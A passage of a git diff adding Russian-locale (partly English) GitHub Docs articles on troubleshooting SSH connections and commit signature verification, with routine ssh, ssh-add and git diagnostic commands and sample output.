%} + +## Checking your tag signature verification status + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.releases %} +2. At the top of the Releases page, click **Tags**. +![Tags page](/assets/images/help/releases/tags-list.png) +3. Next to your tag description, there is a box that shows whether your tag signature is verified{% ifversion fpt or ghec %}, partially verified,{% endif %} or unverified. +![verified tag signature](/assets/images/help/commits/gpg-signed-tag-verified.png) +4. To view more detailed information about the tag signature, click **Verified**{% ifversion fpt or ghec %}, **Partially verified**,{% endif %} or **Unverified**. +![Verified signed tag](/assets/images/help/commits/gpg-signed-tag-verified-details.png) + +## Further reading + +- "[About commit signature verification](/articles/about-commit-signature-verification)" +- "[Signing commits](/articles/signing-commits)" +- "[Signing tags](/articles/signing-tags)" diff --git a/translations/ru-RU/content/authentication/troubleshooting-commit-signature-verification/index.md b/translations/ru-RU/content/authentication/troubleshooting-commit-signature-verification/index.md new file mode 100644 index 000000000000..f5dfdfe844e4 --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-commit-signature-verification/index.md @@ -0,0 +1,27 @@ +--- +title: Устранение неполадок с проверкой подписи фиксации +intro: 'Возможно, вам потребуется устранить непредвиденные проблемы, возникающие при локальной фиксации подписывания для проверки в {% data variables.product.product_name %}.' +redirect_from: + - /articles/troubleshooting-gpg + - /articles/troubleshooting-commit-signature-verification + - /github/authenticating-to-github/troubleshooting-commit-signature-verification +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +children: + - /checking-your-commit-and-tag-signature-verification-status + - /using-a-verified-email-address-in-your-gpg-key +shortTitle: Troubleshoot verification +ms.openlocfilehash: bcd12faa7912d9d32ebbea12afffe41528e63767 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147369292' +--- + diff --git a/translations/ru-RU/content/authentication/troubleshooting-commit-signature-verification/using-a-verified-email-address-in-your-gpg-key.md b/translations/ru-RU/content/authentication/troubleshooting-commit-signature-verification/using-a-verified-email-address-in-your-gpg-key.md new file mode 100644 index 000000000000..0ce6fbfbbd72 --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-commit-signature-verification/using-a-verified-email-address-in-your-gpg-key.md @@ -0,0 +1,32 @@ +--- +title: Использование проверенного адреса электронной почты в ключе GPG +intro: 'При проверке подписи {% data variables.product.product_name %} проверяет, соответствует ли адрес электронной почты пользователя, отправившего фиксацию, или пользователя, добавившего тег, совпадает с адресом электронной почты из удостоверений ключа GPG и является проверенным адресом электронной почты в учетной записи пользователя. Это гарантирует, что ключ принадлежит вам и что вы создали фиксацию или тег.' +redirect_from: + - /articles/using-a-verified-email-address-in-your-gpg-key + - /github/authenticating-to-github/using-a-verified-email-address-in-your-gpg-key + - /github/authenticating-to-github/troubleshooting-commit-signature-verification/using-a-verified-email-address-in-your-gpg-key +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Use verified email in GPG key +ms.openlocfilehash: bb9f4fbbfdb70ba55870ab068a33c566791fbaf2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145088250' +--- +{% ifversion fpt or ghec %} Если вам нужно проверить свой адрес электронной почты GitHub, см. сведения в статье "[Проверка адреса электронной почты](/articles/verifying-your-email-address/)". {% endif %} Чтобы обновить или добавить адрес электронной почты в ключ GPG, см. сведения в статье "[Связывание адреса электронной почты с ключом GPG](/articles/associating-an-email-with-your-gpg-key)". + +Фиксации и теги могут содержать несколько адресов электронной почты. Для фиксаций есть автор — человек, написавший код, и опубликовавшее лицо — человек, добавивший фиксацию в дерево. При подписи фиксации с помощью Git, будь то во время слияния, выборочного обора или обычного `git commit`, адрес электронной почты опубликовавшего лица будет вашим, даже если адрес электронной почты автора таковым не является. Теги более просты: адрес электронной почты разметчика всегда является адресом пользователя, создавшего тег. + +Если вам нужно изменить адрес электронной почты опубликовавшего лица или разметчика, см. сведения в статье "[Настройка адреса электронной почты фиксации](/articles/setting-your-commit-email-address/)". + +## Дополнительные материалы + +- "[Сведения о проверке подписи фиксации](/articles/about-commit-signature-verification)" diff --git a/translations/ru-RU/content/authentication/troubleshooting-ssh/deleted-or-missing-ssh-keys.md b/translations/ru-RU/content/authentication/troubleshooting-ssh/deleted-or-missing-ssh-keys.md new file mode 100644 index 000000000000..f00cfc5eceb6 --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-ssh/deleted-or-missing-ssh-keys.md @@ -0,0 +1,25 @@ +--- +title: Удаленные или отсутствующие ключи SSH +intro: 'В качестве меры предосторожности {% data variables.product.prodname_dotcom %} автоматически удаляет ключи SSH, которые не использовались в течение года.' +redirect_from: + - /articles/deleted-or-missing-ssh-keys + - /github/authenticating-to-github/deleted-or-missing-ssh-keys + - /github/authenticating-to-github/troubleshooting-ssh/deleted-or-missing-ssh-keys +versions: + fpt: '*' + ghec: '*' +topics: + - SSH +shortTitle: Deleted or missing SSH keys +ms.openlocfilehash: aa26a5bf39db3f41aa3c3aa01f59c392a42f467f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145088226' +--- +{% data variables.product.prodname_dotcom %} автоматически удаляет неактивные ключи SSH, например после того, как кто-то уходит с работы или теряет компьютер. Это необходимо для обеспечения безопасности учетных записей. + +Чтобы проверить факт использования ключа SSH в течение года, можно просмотреть журнал безопасности учетной записи. Дополнительные сведения см. в статье "[Просмотр журнала безопасности](/articles/reviewing-your-security-log/)". + +После удаления неактивного ключа SSH необходимо создать новый ключ SSH и связать его с учетной записью. Дополнительные сведения см. в статьях "[Создание ключа SSH и его добавление в ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/)" и "[Добавление нового ключа SSH в учетную запись GitHub](/articles/adding-a-new-ssh-key-to-your-github-account/)". diff --git a/translations/ru-RU/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md new file mode 100644 index 000000000000..d134f687e9d8 --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md @@ -0,0 +1,52 @@ +--- +title: 'Error: Agent admitted failure to sign' +intro: 'In rare circumstances, connecting to {% data variables.product.product_name %} via SSH on Linux produces the error `"Agent admitted failure to sign using the key"`. Follow these steps to resolve the problem.' +redirect_from: + - /articles/error-agent-admitted-failure-to-sign-using-the-key + - /articles/error-agent-admitted-failure-to-sign + - /github/authenticating-to-github/error-agent-admitted-failure-to-sign + - /github/authenticating-to-github/troubleshooting-ssh/error-agent-admitted-failure-to-sign +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +shortTitle: Agent failure to sign +--- +When trying to SSH into {% data variables.location.product_location %} on a Linux computer, you may see the following message in your terminal: + +```shell +$ ssh -vT git@{% data variables.command_line.codeblock %} +> ... +> Agent admitted failure to sign using the key. +> debug1: No more authentication methods to try. +> Permission denied (publickey). +``` + +For more details, see this issue report. + +## Resolution + +You should be able to fix this error by loading your keys into your SSH agent with `ssh-add`: + +```shell +# start the ssh-agent in the background +$ eval "$(ssh-agent -s)" +> Agent pid 59566 +$ ssh-add +> Enter passphrase for /home/YOU/.ssh/id_rsa: [tippy tap] +> Identity added: /home/YOU/.ssh/id_rsa (/home/YOU/.ssh/id_rsa) +``` + +If your key does not have the default filename (`/.ssh/id_rsa`), you'll have to pass that path to `ssh-add`: + +```shell +# start the ssh-agent in the background +$ eval "$(ssh-agent -s)" +> Agent pid 59566 +$ ssh-add ~/.ssh/my_other_key +> Enter passphrase for /home/YOU/.ssh/my_other_key: [tappity tap tap] +> Identity added: /home/YOU/.ssh/my_other_key (/home/YOU/.ssh/my_other_key) +``` diff --git a/translations/ru-RU/content/authentication/troubleshooting-ssh/error-bad-file-number.md b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-bad-file-number.md new file mode 100644 index 000000000000..deada7c0eae7 --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-bad-file-number.md @@ -0,0 +1,66 @@ +--- +title: 'Ошибка: недопустимый номер файла' +intro: 'Эта ошибка обычно означает, что не удалось подключиться к серверу. Зачастую это связано с брандмауэрами и прокси-серверами.' +redirect_from: + - /articles/error-bad-file-number + - /github/authenticating-to-github/error-bad-file-number + - /github/authenticating-to-github/troubleshooting-ssh/error-bad-file-number +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +ms.openlocfilehash: 10a0035281f7afd4297193100bc5f48aa65afac9 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009102' +--- +При выполнении удаленных команд Git или SSH может быть превышено время ожидания подключения: + +```shell +$ ssh -vT git@{% data variables.command_line.codeblock %} +> OpenSSH_8.1p1, LibreSSL 2.7.3 +> debug1: Connecting to {% data variables.command_line.codeblock %} [207.97.227.239] port 22. +> debug1: connect to address 207.97.227.239 port 22: Connection timed out +> ssh: connect to host {% data variables.command_line.codeblock %} port 22: Connection timed out +> ssh: connect to host {% data variables.command_line.codeblock %} port 22: Bad file number +``` + +## Решение проблемы + +### Используйте протокол HTTPS. + +Во многих случаях самым простым решением будет полный отказ от использования SSH. Большинство брандмауэров и прокси-серверов без проблем обеспечивает прохождение трафика HTTPS. Чтобы использовать эти преимущества, измените используемый [удаленный URL-адрес](/github/getting-started-with-github/about-remote-repositories): + +```shell +$ git clone https://{% data variables.command_line.codeblock %}/USERNAME/REPO-NAME.git +> Cloning into 'reponame'... +> remote: Counting objects: 84, done. +> remote: Compressing objects: 100% (45/45), done. +> remote: Total 84 (delta 43), reused 78 (delta 37) +> Unpacking objects: 100% (84/84), done. +``` + +### Проверка из другой сети + +Если вы можете установить с компьютера подключение к другой сети без брандмауэра, попробуйте проверить SSH-подключение к {% data variables.product.product_name %}. Если все работает, обратитесь к администратору сети с просьбой изменить параметры брандмауэра и разрешить SSH-подключение к {% data variables.product.product_name %}. + +{% ifversion fpt or ghec %} + +### Использование SSH через порт HTTPS + +Если вы не можете использовать протокол HTTPS, а администратор брандмауэра не разрешает SSH-подключения, попробуйте использовать [SSH через порт HTTPS](/articles/using-ssh-over-the-https-port). + +{% endif %} + +{% ifversion fpt or ghec %} + +## Дополнительные материалы + +- [Устранение проблем с подключениями](/articles/troubleshooting-connectivity-problems) + +{% endif %} diff --git a/translations/ru-RU/content/authentication/troubleshooting-ssh/error-key-already-in-use.md b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-key-already-in-use.md new file mode 100644 index 000000000000..315f4701b676 --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-key-already-in-use.md @@ -0,0 +1,44 @@ +--- +title: 'Error: Key already in use' +intro: 'This error occurs when you try to [add a key](/articles/adding-a-new-ssh-key-to-your-github-account) that''s already been added to another account or repository.' +redirect_from: + - /articles/error-key-already-in-use + - /github/authenticating-to-github/error-key-already-in-use + - /github/authenticating-to-github/troubleshooting-ssh/error-key-already-in-use +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +--- +## Finding where the key has been used + +To determine where the key has already been used, open a terminal and type the `ssh` command. Use the `-i` flag to provide the path to the key you want to check: + +```shell +$ ssh -T -ai ~/.ssh/id_rsa git@{% data variables.command_line.codeblock %} +# Connect to {% data variables.location.product_location %} using a specific ssh key +> Hi USERNAME! You've successfully authenticated, but GitHub does not +> provide shell access. +``` + +The *username* in the response is the account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} that the key is currently attached to. If the response looks something like "username/repo", the key has been attached to a repository as a [*deploy key*](/guides/managing-deploy-keys#deploy-keys). + + +To force SSH to use only the key provided on the command line, use `-o` to add the `IdentitiesOnly=yes` option: + +```shell +$ ssh -v -o "IdentitiesOnly=yes" -i ~/.ssh/id_rsa git@{% data variables.command_line.codeblock %} +``` + +## Fixing the issue + +To resolve the issue, first remove the key from the other account or repository and then [add it to your account](/articles/adding-a-new-ssh-key-to-your-github-account). + +If you don't have permissions to transfer the key, and can't contact a user who does, remove the keypair and [generate a brand new one](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). + +## Deploy keys + +Once a key has been attached to one repository as a deploy key, it cannot be used on another repository. If you're running into this error while setting up deploy keys, see "[Managing deploy keys](/guides/managing-deploy-keys)." diff --git a/translations/ru-RU/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md new file mode 100644 index 000000000000..3d5aad0bd17e --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md @@ -0,0 +1,217 @@ +--- +title: 'Error: Permission denied (publickey)' +intro: 'A "Permission denied" error means that the server rejected your connection. There could be several reasons why, and the most common examples are explained below.' +redirect_from: + - /articles/error-permission-denied-publickey + - /github/authenticating-to-github/error-permission-denied-publickey + - /github/authenticating-to-github/troubleshooting-ssh/error-permission-denied-publickey +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +shortTitle: Permission denied (publickey) +--- +## Should the `sudo` command or elevated privileges be used with Git? + +You should not be using the `sudo` command or elevated privileges, such as administrator permissions, with Git. If you have a *very good reason* you must use `sudo`, then ensure you are using it with every command (it's probably just better to use `su` to get a shell as root at that point). If you [generate SSH keys](/articles/generating-an-ssh-key) without `sudo` and then try to use a command like `sudo git push`, you won't be using the same keys that you generated. + +## Check that you are connecting to the correct server + +Typing is hard, we all know it. Pay attention to what you type; you won't be able to connect to "githib.com" or "guthub.com". In some cases, a corporate network may cause issues resolving the DNS record as well. + +To make sure you are connecting to the right domain, you can enter the following command: + +```shell +$ ssh -vT git@{% data variables.command_line.codeblock %} +> OpenSSH_8.1p1, LibreSSL 2.7.3 +> debug1: Reading configuration data /Users/YOU/.ssh/config +> debug1: Reading configuration data /etc/ssh/ssh_config +> debug1: /etc/ssh/ssh_config line 47: Applying options for * +> debug1: Connecting to {% data variables.command_line.codeblock %} port 22. +``` + +The connection should be made on port 22{% ifversion fpt or ghec %}, unless you're overriding settings to use [SSH over HTTPS](/articles/using-ssh-over-the-https-port){% endif %}. + +## Always use the "git" user + +All connections, including those for remote URLs, must be made as the "git" user. If you try to connect with your {% data variables.product.product_name %} username, it will fail: + +```shell +$ ssh -T GITHUB-USERNAME@{% data variables.command_line.codeblock %} +> Permission denied (publickey). +``` +If your connection failed and you're using a remote URL with your {% data variables.product.product_name %} username, you can [change the remote URL to use the "git" user](/github/getting-started-with-github/managing-remote-repositories). + +You should verify your connection by typing: + +```shell +$ ssh -T git@{% data variables.command_line.codeblock %} +> Hi USERNAME! You've successfully authenticated... +``` + +## Make sure you have a key that is being used + +{% mac %} + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Verify that you have a private key generated and loaded into SSH. + ```shell + # start the ssh-agent in the background + $ eval "$(ssh-agent -s)" + > Agent pid 59566 + $ ssh-add -l -E sha256 + > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) + ``` + +{% endmac %} + +{% windows %} + +{% data reusables.desktop.windows_git_bash %} + +1. {% data reusables.desktop.windows_git_bash_turn_on_ssh_agent %} + + {% data reusables.desktop.windows_git_for_windows_turn_on_ssh_agent %} +2. Verify that you have a private key generated and loaded into SSH. + ```shell + $ ssh-add -l -E sha256 + > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) + ``` + +{% endwindows %} + +{% linux %} + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Verify that you have a private key generated and loaded into SSH. + ```shell + $ ssh-add -l -E sha256 + > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) + ``` + + +{% endlinux %} + +The `ssh-add` command *should* print out a long string of numbers and letters. If it does not print anything, you will need to [generate a new SSH key](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) and associate it with {% data variables.product.product_name %}. + +{% tip %} + +**Tip**: On most systems the default private keys (`~/.ssh/id_rsa` and `~/.ssh/identity`) are automatically added to the SSH authentication agent. You shouldn't need to run `ssh-add path/to/key` unless you override the file name when you generate a key. + +{% endtip %} + +### Getting more details + +You can also check that the key is being used by trying to connect to `git@{% data variables.command_line.backticks %}`: + +```shell +$ ssh -vT git@{% data variables.command_line.codeblock %} +> ... +> debug1: identity file /Users/YOU/.ssh/id_rsa type -1 +> debug1: identity file /Users/YOU/.ssh/id_rsa-cert type -1 +> debug1: identity file /Users/YOU/.ssh/id_dsa type -1 +> debug1: identity file /Users/YOU/.ssh/id_dsa-cert type -1 +> ... +> debug1: Authentications that can continue: publickey +> debug1: Next authentication method: publickey +> debug1: Trying private key: /Users/YOU/.ssh/id_rsa +> debug1: Trying private key: /Users/YOU/.ssh/id_dsa +> debug1: No more authentication methods to try. +> Permission denied (publickey). +``` + +In that example, we did not have any keys for SSH to use. The "-1" at the end of the "identity file" lines means SSH couldn't find a file to use. Later on, the "Trying private key" lines also indicate that no file was found. If a file existed, those lines would be "1" and "Offering public key", respectively: + +```shell +$ ssh -vT git@{% data variables.command_line.codeblock %} +> ... +> debug1: identity file /Users/YOU/.ssh/id_rsa type 1 +> ... +> debug1: Authentications that can continue: publickey +> debug1: Next authentication method: publickey +> debug1: Offering RSA public key: /Users/YOU/.ssh/id_rsa +``` + +## Verify the public key is attached to your account + +You must provide your public key to {% data variables.product.product_name %} to establish a secure connection. + +{% mac %} + +1. Open Terminal. +2. Start SSH agent in the background. + ```shell + $ eval "$(ssh-agent -s)" + > Agent pid 59566 + ``` +3. Find and take a note of your public key fingerprint. + ```shell + $ ssh-add -l -E sha256 + > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) + ``` + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.ssh %} +6. Compare the list of SSH keys with the output from the `ssh-add` command. +![SSH key listing in {% data variables.product.product_name %}](/assets/images/help/settings/ssh_key_listing.png) + +{% endmac %} + +{% windows %} + +1. Open the command line. +2. Start SSH agent in the background. + ```shell + $ ssh-agent -s + > Agent pid 59566 + ``` +3. Find and take a note of your public key fingerprint. + ```shell + $ ssh-add -l -E sha256 + > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) + ``` + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.ssh %} +6. Compare the list of SSH keys with the output from the `ssh-add` command. +![SSH key listing in {% data variables.product.product_name %}](/assets/images/help/settings/ssh_key_listing.png) + +{% endwindows %} + +{% linux %} + +1. Open Terminal. +2. Start SSH agent in the background. + ```shell + $ eval "$(ssh-agent -s)" + > Agent pid 59566 + ``` +3. Find and take a note of your public key fingerprint. If you're using OpenSSH 6.7 or older: + ```shell + $ ssh-add -l + > 2048 a0:dd:42:3c:5a:9d:e4:2a:21:52:4e:78:07:6e:c8:4d /Users/USERNAME/.ssh/id_rsa (RSA) + ``` + + If you're using OpenSSH 6.8 or newer: + ```shell + $ ssh-add -l -E md5 + > 2048 MD5:a0:dd:42:3c:5a:9d:e4:2a:21:52:4e:78:07:6e:c8:4d /Users/USERNAME/.ssh/id_rsa (RSA) + ``` + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.ssh %} +6. Compare the list of SSH keys with the output from the `ssh-add` command. +![SSH key listing in {% data variables.product.product_name %}](/assets/images/help/settings/ssh_key_listing.png) + +{% endlinux %} + +If you don't see your public key in {% data variables.product.product_name %}, you'll need to [add your SSH key to {% data variables.product.product_name %}](/articles/adding-a-new-ssh-key-to-your-github-account) to associate it with your computer. + +{% warning %} + +**Warning**: If you see an SSH key you're not familiar with on {% data variables.product.product_name %}, delete it immediately and contact {% data variables.contact.contact_support %}, for further help. An unidentified public key may indicate a possible security concern. For more information, see "[Reviewing your SSH keys](/articles/reviewing-your-ssh-keys)." + +{% endwarning %} diff --git a/translations/ru-RU/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-other-user.md b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-other-user.md new file mode 100644 index 000000000000..fb5e26cab5a7 --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-other-user.md @@ -0,0 +1,24 @@ +--- +title: 'Ошибка: разрешение пользователя или репозитория отклонено для другого пользователя' +intro: 'Эта ошибка означает, что ключ, с которым вы отправляете сообщение, присоединен к учетной записи, не имеющей доступа к репозиторию.' +redirect_from: + - /articles/error-permission-to-user-repo-denied-to-other-user + - /articles/error-permission-to-userrepo-denied-to-other-user + - /github/authenticating-to-github/error-permission-to-userrepo-denied-to-other-user + - /github/authenticating-to-github/troubleshooting-ssh/error-permission-to-userrepo-denied-to-other-user +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +shortTitle: Permission denied other-user +ms.openlocfilehash: b46df8f9e8671008b37d3db69e2094e96e0413b8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145088208' +--- +Чтобы устранить эту проблему, владелец репозитория (`user`) должен добавить вашу учетную запись (`other-user`) в качестве участника совместной работы в репозиторий или команду, которые имеют доступ на запись в репозиторий. diff --git a/translations/ru-RU/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-userother-repo.md b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-userother-repo.md new file mode 100644 index 000000000000..14d46ea020dc --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-userother-repo.md @@ -0,0 +1,26 @@ +--- +title: 'Ошибка: разрешение пользователя или репозитория отклонено для пользователя или другого репозитория' +intro: 'Эта ошибка означает, что ключ, который вы используете для передачи, присоединяется к другому репозиторию в качестве ключа развертывания и не имеет доступа к репозиторию, в который вы пытаетесь передать данные.' +redirect_from: + - /articles/error-permission-to-user-repo-denied-to-user-other-repo + - /articles/error-permission-to-userrepo-denied-to-userother-repo + - /github/authenticating-to-github/error-permission-to-userrepo-denied-to-userother-repo + - /github/authenticating-to-github/troubleshooting-ssh/error-permission-to-userrepo-denied-to-userother-repo +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +shortTitle: Permission denied other-repo +ms.openlocfilehash: 4d4898e947338e39c5ade86b5ea0a71f54f36f03 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145088203' +--- +Чтобы устранить эту проблему, удалите ключ развертывания из репозитория и вместо этого [добавьте его в личную учетную запись](/articles/adding-a-new-ssh-key-to-your-github-account). + +Если используемый ключ предназначен для развертывания, дополнительные сведения см. в [руководстве по ключам развертывания](/guides/managing-deploy-keys). diff --git a/translations/ru-RU/content/authentication/troubleshooting-ssh/error-ssh-add-illegal-option----k.md b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-ssh-add-illegal-option----k.md new file mode 100644 index 000000000000..ecac8be4e0a5 --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-ssh-add-illegal-option----k.md @@ -0,0 +1,44 @@ +--- +title: 'Ошибка ssh-add: недопустимый параметр -- K' +intro: 'Эта ошибка означает, что ваша версия `ssh-add` не поддерживает интеграцию цепочки ключей macOS, что позволяет хранить парольную фразу в цепочке ключей.' +redirect_from: + - /articles/error-ssh-add-illegal-option-k + - /articles/error-ssh-add-illegal-option----k + - /github/authenticating-to-github/error-ssh-add-illegal-option----k + - /github/authenticating-to-github/troubleshooting-ssh/error-ssh-add-illegal-option----k +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +shortTitle: 'ssh-add: illegal option -- K' +ms.openlocfilehash: a9c563f637d2deb544611c8b357761ff1148fa1c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145088202' +--- +Параметр `-K` является стандартной версией параметра `ssh-add` в Apple, который сохраняет парольную фразу в цепочке ключей при добавлении ключа SSH в ssh-agent. Если вы установили другую версию `ssh-add`, она может не поддерживать `-K`. + +## Решение проблемы + +Чтобы добавить закрытый ключ SSH в ssh-agent, можно указать путь к версии Apple `ssh-add`: + +```shell + $ /usr/bin/ssh-add -K ~/.ssh/id_ed25519 +``` + +{% note %} + +**Примечание**. {% data reusables.ssh.add-ssh-key-to-ssh-agent %} + +{% endnote %} + +## Дополнительные материалы + +- [Создание нового ключа SSH и его добавление в ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) +- [Страница руководства Linux для SSH-ADD](http://man7.org/linux/man-pages/man1/ssh-add.1.html) +- Чтобы просмотреть страницу руководства Apple для SSH-ADD, выполните в терминале команду `man ssh-add`. diff --git a/translations/ru-RU/content/authentication/troubleshooting-ssh/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok.md b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok.md new file mode 100644 index 000000000000..6a6eb5fab545 --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok.md @@ -0,0 +1,36 @@ +--- +title: 'Ошибка: проблема с SSL-сертификатом, проверьте правильность указанного ЦС' +intro: 'Эта ошибка означает, что корневой сертификат ЦС устарел. Если корневой сертификат ЦС необходимо обновить, вы не сможете выполнять отправку или извлечение из репозиториев {% data variables.product.product_name %}.' +redirect_from: + - /articles/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok + - /github/authenticating-to-github/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok + - /github/authenticating-to-github/troubleshooting-ssh/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok +versions: + fpt: '*' + ghec: '*' +topics: + - SSH +shortTitle: SSL certificate problem +ms.openlocfilehash: 26777edf5b312c8f45c5b1fb211b87648778cf13 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145088191' +--- +Полученная ошибка может выглядеть следующим образом: + +```shell +$ git push -u github.main +> fatal: 'github.main' does not appear to be a git repository +> fatal: The remote end hung up unexpectedly + +$ git pull -u github +> error: SSL certificate problem, verify that the CA cert is OK. Details: +> error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed while accessing https://github.com/tqisjim/google-oauth.git/info/refs +> fatal: HTTP request failed +``` + +"ЦС" — это сокращение для "центра сертификации", сторонней группы, ответственной за обработку безопасных подключений по всему Интернету. Они выдают цифровые "сертификаты", которые гарантируют, что подключения между двумя компьютерами (например, компьютером и GitHub.com) являются допустимыми. Без сертификата риск нарушения безопасности при обмене данными между двумя компьютерами возрастает. + +Если отображается эта ошибка, то, скорее всего, ваш ЦС устарел и должен быть обновлен. Как правило, при обновлении операционной системы также обновляется и ЦС, в результате чего проблема устраняется. diff --git a/translations/ru-RU/content/authentication/troubleshooting-ssh/error-unknown-key-type.md b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-unknown-key-type.md new file mode 100644 index 000000000000..3a3bc73f3fe1 --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-unknown-key-type.md @@ -0,0 +1,44 @@ +--- +title: 'Ошибка: неизвестный тип ключа' +intro: 'Эта ошибка означает, что используемый тип ключа SSH не был распознан или не поддерживается клиентом SSH. ' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +redirect_from: + - /github/authenticating-to-github/error-unknown-key-type + - /github/authenticating-to-github/troubleshooting-ssh/error-unknown-key-type +ms.openlocfilehash: 83bf8714255a4d8f028beb73fd5c8fbcdbb0ef52 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065901' +--- +## Сведения об ошибке `unknown key type` + +При создании нового ключа SSH может возникнуть ошибка `unknown key type`, если указанный тип ключа не поддерживается клиентом SSH.{% mac %}Чтобы решить эту проблему в macOS, можно обновить клиент SSH или установить новый. + +## Предварительные требования + +Должен быть установлен Homebrew. Дополнительные сведения см. в [руководстве по установке](https://docs.brew.sh/Installation) в документации по Homebrew. + +## Решение проблемы + +{% warning %} + +**Предупреждение.** При установке OpenSSH компьютер не сможет получить парольную фразу, хранящуюся в цепочке ключей Apple. Вам потребуется ввести парольную фразу или взаимодействовать с ключом безопасности оборудования при каждой проверке подлинности с помощью SSH для {% data 